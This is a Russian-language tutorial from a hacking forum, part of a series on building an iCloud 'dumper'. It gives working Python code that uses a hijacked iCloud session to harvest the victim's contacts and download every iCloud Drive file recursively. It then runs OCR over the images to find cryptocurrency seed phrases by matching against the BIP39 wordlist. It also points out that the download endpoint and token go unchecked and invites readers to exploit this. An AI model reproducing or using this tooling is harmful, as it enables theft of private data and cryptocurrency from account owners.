Пожалуйста, обратите внимание, что пользователь заблокирован
Написано - chiefchainer
Источник - xss.pro
Введение
Всем снова здрасьте, совсем скоро уже разборка Icloud'a подойдет к концу, мы успели разобрать заметки, почту. Остается дело за малым - облако с файлами, контакты, и медиа-контент. В этой статье подробно взглянем на айклаудовский драйв, выкачаем оттуда все, что можно, а так же будем работать с картинками, все в тех же целях найти сидку. И бонусом, а точнее в самом начале разберемся с контактами, ибо там нет никакой нагрузки, кроме того, чтоб найти нужный нам запрос. Не будет декрипта как в заметках, там все лежит в открытом виде. По этому, предлагаю сразу же начать с легкого, а закончить уже выгрузкой файлов с их последующей обработкой. Так же, тем кто выбрал эту статью первой для прочтения, советую ознакомиться для начала с предыдущими, мы оттуда будем поддергивать какую-либо информацию, ведь уже рассмотрели её в рамках других возможностей айклауда.Дампим письма с Icloud. Регулярки. Поиск сид-фраз cреди писем.
Cобираем заметки с Icloud. Криптография и реверс шифра на этих самых заметках.
Так же не забываем про обратную связь в статье, но теперь уж точно пора начинать.
Собираем контакты
Как говорил, начнем сразу с контактов. Для этого залетаем на
Код:
icloud.com/contacts/
Тут хочу рассказать еще об одной возможности ускорения написания кода, понятное дело, что мы можем начать копировать URL с эндпоинтом, самостоятельно начать наполнять пейлод, но есть метод побыстрее. Называется он конвертор curl to python, на самом деле тут не только Python, можно конвертировать и в любые другие языки, их куча.
Такая штука, для того, чтоб получить сразу готовый код по нашему запросу, то мы возвращаемся в инструменты разработчика, тыкаем пкм'ом по нужному нам запрос, и копируем его как CURL (BASH), именно Bash, в случае если вы скопируете cmd, то ничего не выйдет.
Вставляем все это дело в наш конвертор, и на выходе получаем почти готовый код, в котором нам надо будет убрать кукисы, добавить поддержку работы с сессией, а так же парс JSON и его сохранение.
Окей, сейчас надо сразу же закрыть момент с контактами и переплывать к основной нагрузке статьи. Так как у нас всё модульно, то будем и дальше поддерживать такую структуру дампера. Мы будем сохранять FirstName контакта и его номер телефона в случае если он присутствует, в ином случае просто скипать. Код функции прикладываю ниже.
Код:
import requests
import os
from get_dsid import get_dsid
def get_contacts(session, folder):
headers = {
'accept': '*/*',
'accept-language': 'ru-RU,ru;q=0.9',
'content-type': 'text/plain',
'origin': 'https://www.icloud.com',
'priority': 'u=1, i',
'referer': 'https://www.icloud.com/',
'sec-ch-ua': '"Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-site',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36',
}
params = {
'clientBuildNumber': '2426Project37',
'clientId': '837f3e02-cc3b-4c49-a872-363915584832',
'clientMasteringNumber': '2426B25',
'clientVersion': '2.1',
'dsid': get_dsid(),
'locale': 'ru_RU',
'order': 'first,last',
}
response = session.get('https://p55-contactsws.icloud.com/co/startup', params=params, headers=headers)
data = response.json()
phones_and_names = []
for contact in data['contacts']:
try:
if 'phones' in contact:
for phone in contact['phones']:
phones_and_names.append((contact['firstName'], phone['field']))
except:
pass
for name, phone in phones_and_names:
filename = os.path.join(folder, f"contacts.txt")
with open(filename, 'a', encoding='utf-8') as file:
file.write(f'Name - {name} Phone number - {phone}\n')
Мы заходим в start.py, добавляем импорт нашей функции, добавляем её вызов, и бинго. Всё, теперь подвязали и контакты в наш дампер. Теперь остается лишь проверить, всё ли работает так как надо, запускаем нашу выгрузку, проверяем все ли сохранилось как надо.
Бамц, всё верно. Теперь можно забыть про контакты, пора переходить к облаку айклауда и смотреть, что у нас там.
Облако Айклауда, привет!
Теперь заходим уже на
Код:
icloud.com/iclouddrive/
Мы видим очень похожий идентификатор как в заметках, правда тут он ни чем не накрыт сверху, по этому мы копируем значение data-id, и организуем поиск нужного запроса по этому кейворду. Загружаем его в поиск, обновляем страницу и наблюдаем следующую картину.
Меня с ходу интересуют два последних запроса, своим эндпоинтом они прям кричат, что схвати меня. Пойдем с конца. В ответе мы получаем следующую информацию о файлах
С учетом того, что я заранее знаю где находится этот файл (а именно просто лежит в 'обзоре', не в какой либо папке), то это позволяет нам понять, что наш маршрут автоматизации будет начинаться всегда с "FOLDER::com.apple.CloudDocs::root", этот параметр мы видим в 'parentId', так же еще парочка по типу name, extension, и docwsid, это идентификатор файла, по которому мы скорее всего будем качать файл, но для начала еще посмотрим, какие данные мы отправили, чтоб получить этот ответ.
Просто путь и ничего лишнего. Это радует, но так же удивляет опять отсутствие параметров, которые были в других сервисах Icloud, к примеру это излюбленный dsid, или же информация о том каким клиентом пользуется человек. Хорошо, запоминаем, что начало начал - это root. Но не стоит останавливаться на этом и бежать сразу к скачке, мы не торопимся, и давайте сравним drivewsid на двух верхних скриншотах. Там ведь еще можно создавать папки, следовательно нам надо будет рекурсивно еще скакать по папкам, и извлекать еще из них файлы, окей. Разница заключается в начале, когда папка у нас начинается с FOLDER, а при файле, просто по-английский FILE. Это нам точно так же пригодится, чтоб улавливать разницу, и делать выборку, что нам творить. Впринципе, на этом этапе предлагаю приступить к коду, который будет у нас рекурсивно гулять по папкам, и собирать данные, а в случае если это файл, то будем вызывать функцию на скачку, пока её не будет, но просто обзовем, разбор скачки будет после того как утвердим момент с путями и получением идентификаторов файлов.
Код:
import requests
import json
import os
def get_files(session, folder):
headers = {
'accept': '*/*',
'accept-language': 'en-US,en;q=0.9,ru-RU;q=0.8,ru;q=0.7',
'content-type': 'text/plain',
'origin': 'https://www.icloud.com',
'priority': 'u=1, i',
'referer': 'https://www.icloud.com/',
'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-site',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
}
params = {
'appIdentifier': 'iclouddrive',
}
data = '[{"drivewsid":"FOLDER::com.apple.CloudDocs::root","partialData":true,"includeHierarchy":true}]'
try:
response = session.post(
'https://p55-drivews.icloud.com/retrieveItemDetailsInFolders',
params=params,
headers=headers,
data=data,
).text
data = json.loads(response)
drivewsids = [item['drivewsid'] for item in data[0]['items']]
download_recursive(drivewsids, session, headers, folder)
except:
pass
def download_recursive(drivewsids, session, headers, folder):
for drivewsid in drivewsids:
if drivewsid.startswith('FILE::com.apple.CloudDocs::'):
identifier = drivewsid.split('FILE::com.apple.CloudDocs::')[1]
download_file(identifier, session, headers, folder)
elif drivewsid.startswith('FOLDER::com.apple.CloudDocs::'):
folder_identifier = drivewsid.split('FOLDER::com.apple.CloudDocs::')[1]
download_files_in_folder(folder_identifier, session, headers, folder)
def download_files_in_folder(folder_identifier, session, headers, folder):
url = "https://p55-drivews.icloud.com/retrieveItemDetailsInFolders?appIdentifier=iclouddrive"
data = f'[{{"drivewsid":"FOLDER::com.apple.CloudDocs::{folder_identifier}","partialData":true,"includeHierarchy":true}}]'
try:
response = session.post(url, data=data, headers=headers).text
data = json.loads(response)
if data and len(data) > 0 and 'items' in data[0]:
drivewsids = [item['drivewsid'] for item in data[0]['items']]
download_recursive(drivewsids, session, headers, folder)
else:
pass
except:
pass
Загружаем копию, наблюдаем какой запрос у нас отвечает за это. И это batch, теперь взглянем на то, какие параметры мы должны ему отправить, чтоб получить заветный файл.
Document_id - это как раз таки и есть наш идентификатор, теперь взглянем на ответ, который мы получили. А token, да, выглядит устрашающе, но никто не запрещает нам экспериментировать, по этому когда мы перейдем к написанию функции для скачки, обязательно вернемся к заветному токену.
Бамц, в ответе мы получаем ссылку на скачку файла, и еще куча других данных, которые нас не интересуют. Попробуем скачать для начала через браузер наш файл по полученной ссылке, и бинго, всё выходит как надо.
Не понимаю почему, но мне стало интересно, а что если попробовать скачать по той же ссылке, но без нужных кукисов, просто с голой сессией. И случилось чудо, у меня так же получилось скачать и без нужных значений, на самом деле это вопрос безопасности, ведь рано или поздно кто-то знающий доберется до этой штуки, и возможно это еще самая настоящая 'бага', но не стоит на этом зацикливаться. Задача все же другая, но знатоки-люди, если вам интересно, потыкайтесь, если, что я готов поделиться своими наработками по этому поводу, уведомите меня, пожалуйста, если займетесь и найдете что-то стоящее. Всё, теперь точно возвращаемся к смыслу статьи. Получается у нас следующий маршрут, что мы отправляем в запросе идентификатор файла, затем достаем url из ответа и сохраняем уже файл, полученный с этой ссылочки. Допишем эту функцию, подключим модуль драйва к нашему дамперу, и можем переходить к следующему этапу. Так, а что у нас с токеном? Токен пока крайне бесполезное занятие, эплу настолько насрать на него, что он сожрет все что угодно, и точно так же отдаст ссылку, зачем этот параметр был добавлен, чёрт его знает, какая его нагрузка, тоже без понятия. Это как небольшое напутствие, что всегда стоит экспериментировать с параметрами, может на бэке все настолько страшно и ужасно, что там даже это не проверяется, мы можем указать всё, что угодно заместо значения параметра, или вовсе убрать его.
Код:
def download_file(identifier, session, headers, folder):
url = "https://p55-docws.icloud.com/ws/com.apple.CloudDocs/download/batch?token=xss&appIdentifier=iclouddrive"
data = f'[{{"document_id":"{identifier}"}}]'
try:
response = session.post(url, data=data, headers=headers).text
data = json.loads(response)
if data and len(data) > 0 and 'data_token' in data[0]:
url = data[0]['data_token']['url']
response = requests.get(url, stream=True)
if response.status_code == 200:
filename = url.split('/')[-1].split('?')[0]
filename = os.path.join(folder, f"{filename}")
with open(filename, 'wb') as f:
for chunk in response.iter_content(chunk_size=8192):
f.write(chunk)
else:
pass
except Exception as e:
pass
Всё качается как нужно. Прекрасно и великолепно. Теперь пора вернуться к второй теме статьи, а именно OCR распознавание, по этому сейчас впихну немножко теории в вас.
Считываем сидки с картинок. OCR.
OCR a.k.a optical character recognition или же просто по нашему, по-русски оптическое распознавание символов - это технология, которая преобразовывает изображения, содержащие текст (например, картинки, или pdf-файлы), в редактируемый и машиночитаемый текст. Другими словами, OCR "читает" текст с изображения и переводит его в текстовый формат. Хорошо, а как это работает? OCR работает пошагово, начиная с предобработки изображения. На этом этапе система улучшает качество изображения, чтобы текст был более четким: устраняет шумы, корректирует яркость и контраст, а также выравнивает текст, если он был снят под углом. После этого переходит к распознаванию символов, анализируя изображение и идентифицируя отдельные символы, такие как буквы, цифры и знаки препинания. На завершающем этапе, постобработки, проверяет распознанный текст на наличие ошибок, исправляет опечатки и форматирует его для дальнейшего использования.
Так как мы работаем в рамках Python, то предлагаю использовать сразу готовые решения, которые там есть. В нашем случае подойдет PyTesseract, поддерживает кучу языков, и является одной из мощных. Мы будем использовать только английский язык, ведь работаем в рамках сидок. Для начала попробуем протестировать на простом скриншоте где будет лежать только сидка и всё, вот такая вот.
Сам скрипт не особо тяжел в разработке, все лежит банально и на самом верху. Прикладываю код чуть пониже.
Код:
from PIL import Image
import pytesseract
pytesseract.pytesseract.tesseract_cmd = r'C:\Program Files\Tesseract-OCR\tesseract.exe'
image_path = 'f.png'
image = Image.open(image_path)
text = pytesseract.image_to_string(image, lang='eng')
print(text)
А что если попробовать взять более разбросанную картинку? К примеру вот такую, где будет еще куча другого текста и вполне легко можно запутаться в случае с OCR.
И результаты опять неплохи.
Теперь думаю пора переходить уже к части автоматизации, мы будем считывать все картинки Jpg, png с указанной директории где будут файлы с облака айклауда, после чего переводить их в текст и отправлять в другую функцию, которую мы писали ранее в первой статьей(я рекомендую её прочитать все же чтоб было понятней). Она у нас будет отвечать за оценку вероятности того что это сидка.
Код:
from PIL import Image
import pytesseract
import os
from seed_phrase_search import check_bip39_words
pytesseract.pytesseract.tesseract_cmd = r'C:\Program Files\Tesseract-OCR\tesseract.exe'
def extract_text_from_image(image_path):
try:
image = Image.open(image_path)
text = pytesseract.image_to_string(image, lang='eng')
return text
except Exception as e:
return None
def process_directory(directory):
for root, _, files in os.walk(directory):
for file in files:
if file.lower().endswith(('.jpg', '.png')):
file_path = os.path.join(root, file)
text = extract_text_from_image(file_path)
if text:
print(f"Текст из файла {file_path}:\n{text}\nВероятность - {check_bip39_words(text)}")
directory_path = r'C:\Users\Admin\Desktop\icloud-dumper\2025-01-05_sd\drives'
process_directory(directory_path)
Код:
def check_bip39_words(text_content):
words = re.findall(r'\b\w+\b', text_content)
bip39_words_found = [word for word in words if word in BIP39_WORDLIST]
total_words = len(words)
bip39_count = len(bip39_words_found)
if total_words > 0:
probability = (bip39_count / total_words) * 100
return probability, bip39_words_found
else:
return 0, []
Результаты у нас такие. Стоит уже подходить к заключению.